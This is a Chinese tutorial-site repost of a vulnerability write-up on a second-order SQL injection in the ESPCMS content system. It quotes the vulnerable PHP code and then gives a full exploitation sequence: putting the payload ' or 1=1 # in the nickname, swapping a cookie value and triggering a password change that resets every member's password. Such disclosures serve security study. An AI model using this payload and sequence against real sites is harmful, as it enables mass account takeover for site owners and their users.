来源:自学PHP网 时间:2015-04-17 10:15 作者: 阅读:次
[导读] 1:通过 $alias 二次注入来控制sql用户昵称 $alias 从数据库查询出来 未过滤interface/member.php$db_sql = SELECT * FROM $db_table WHERE $db_where; $rsMember = $t......
1:通过 $alias 二次注入来控制sql 用户昵称 $alias 从数据库查询出来 未过滤 interface/member.php $db_sql = "SELECT * FROM $db_table WHERE $db_where"; $rsMember = $this->db->fetch_first($db_sql); if (!$rsMember) { .................................................. $this->fun->setcookie('ecisp_member_info', $this->fun->eccode("$memberread[userid]|$memberread[alias]|$memberread[integral]|$memberread[mcid]|$memberread[email]|$memberread[lastip]|$ipadd|" . md5($_SERVER['HTTP_USER_AGENT']) . '|' . md5(admin_ClassURL), 'ENCODE', db_pscode)); //查询出来时 无 addcslashes 可造成二次注入
2:$this->ec_member_username 注入 public\class_connector.php 文件 中 $this->ec_member_username = $this->fun->eccode($this->fun->accept('ecisp_member_username', 'C'), 'DECODE', db_pscode);
随便找到一个调用 $this->ec_member_username 的地方 如 interface\membermain.php 文件中 修改密码处
$db_where = "userid=$this->ec_member_username_id AND username='$this->ec_member_username' AND password='$oldpassword'"; $db_sql = "SELECT * FROM $db_table WHERE $db_where"; $rsMember = $this->db->fetch_first($db_sql); if (!$rsMember) { $linkURL = $this->mlink['memedit_password']; $this->callmessage($this->lng['password_input_err'], $linkURL, $this->lng['gobackbotton']); } else { $db_set = "password='$password'"; $this->db->query('UPDATE ' . $db_table . ' SET ' . $db_set . ' WHERE ' . $db_where);
3:注入利用 经过 1,2 分析 一次完整的注入攻击 登录 => 编辑资料(写入注入 payload) =>退出 =>登录 =>设置cookie(ec_member_username =ecisp_member_info)=> 修改密码 => sql 注入 比如我要修改 所有会员的密码 编辑资料 昵称处填写 ' or 1=1 # 然后重新登录 修改cookie中 ec_member_username 的值为 ecisp_member_info的值 新旧密码不要相同 此时的 sql 语句为: UPDATE espcms_member SET password='99754106633f94d350db34d548d6091a' WHERE userid=1 AND username='1|' or 1=1 #|0|1|fuckss@163.com|2130706433|2130706433|fed0b5cf0dbbcab3431bf3bb8fe88349|1002de5fc95a1b716a2e04ab8d78bf76' AND password='1223b8c30a347321299611f873b449ad' 打完收工 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com